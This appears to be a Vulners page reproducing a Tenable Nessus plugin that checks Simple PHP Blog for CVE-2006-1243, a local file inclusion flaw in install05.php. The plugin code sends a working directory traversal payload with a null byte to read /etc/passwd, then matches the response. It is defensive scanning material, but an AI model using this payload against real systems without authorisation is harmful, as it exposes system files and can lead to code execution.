Lucene search
K

Simple PHP Blog install05.php blog_language Parameter Local File Inclusion

🗓️ 15 Mar 2006 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 25 Views

Simple PHP Blog install05.php blog_language Parameter Local File Inclusion vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Simple PHP Blog < 0.4.7.2 install05.php Local File Inclusion
15 Mar 200600:00
nessus
CVE
CVE-2006-1243
15 Mar 200617:00
cve
Cvelist
CVE-2006-1243
15 Mar 200617:00
cvelist
NVD
CVE-2006-1243
15 Mar 200617:06
nvd
Prion
Directory traversal
15 Mar 200617:06
prion
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(21082);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/06/01");

  script_cve_id("CVE-2006-1243");
  script_bugtraq_id(17102);
  script_xref(name:"EDB-ID", value:"1581");

  script_name(english:"Simple PHP Blog install05.php blog_language Parameter Local File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
local file include flaw.");
  script_set_attribute(attribute:"description", value:
"The version of Simple PHP Blog installed on the remote host fails to
sanitize input to the 'blog_language' parameter of the 'install05.php'
script before using it in a PHP 'require_once()' function.  An
unauthenticated attacker may be able to exploit this issue to view
arbitrary files or to execute arbitrary PHP code on the affected host.");
  script_set_attribute(attribute:"see_also", value:"http://www.simplephpblog.com/index.php?entry=entry060317-173547");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Simple PHP Blog version 0.4.7.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/03/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/03/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("sphpblog_detect.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


file = "../../../../../../../../../../../../etc/passwd";


# Test an install.
install = get_kb_item(string("www/", port, "/sphpblog"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];
  url = string(
    dir, "/install05.php?",
    "blog_language=", file, "%00"
  );

  w = http_send_recv3(method:"GET", item:url, port:port);
  if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
  res = w[2];

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string:res) ||
    # we get an error saying "failed to open stream" or "failed opening".
    #
    # nb: this suggests magic_quotes_gpc was enabled but an attacker with
    #     local access might still be able to exploit the flaw.
    egrep(pattern:"main\(languages/.+/etc/passwd\\0/strings\.php.+ failed to open stream", string:res) ||
    egrep(pattern:"Failed opening required 'languages/.+/etc/passwd\\0/strings\.php'", string:res)
  )
  {
    if (egrep(pattern:"root:.*:0:[01]:", string:res)) contents = res - strstr(res, "<br ");
    else contents = "";

    if (report_verbosity && contents)
    {
      report = string(
        "\n",
        "Nessus was able to exploit this issue and obtain the contents of\n",
        "'/etc/passwd' using the following URL :\n",
        "\n",
        "  ", build_url(port:port, qs:url), "\n"
      );
      if (report_verbosity > 1)
      {
        contents = data_protection::redact_etc_passwd(output:contents);
        report = string(
          report,
          "\n",
          "Here are the contents :\n",
          "\n",
          "  ", str_replace(find:'\n', replace:'\n  ', string:contents)
        );
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
  }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jun 2022 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 27.5
EPSS0.09528
25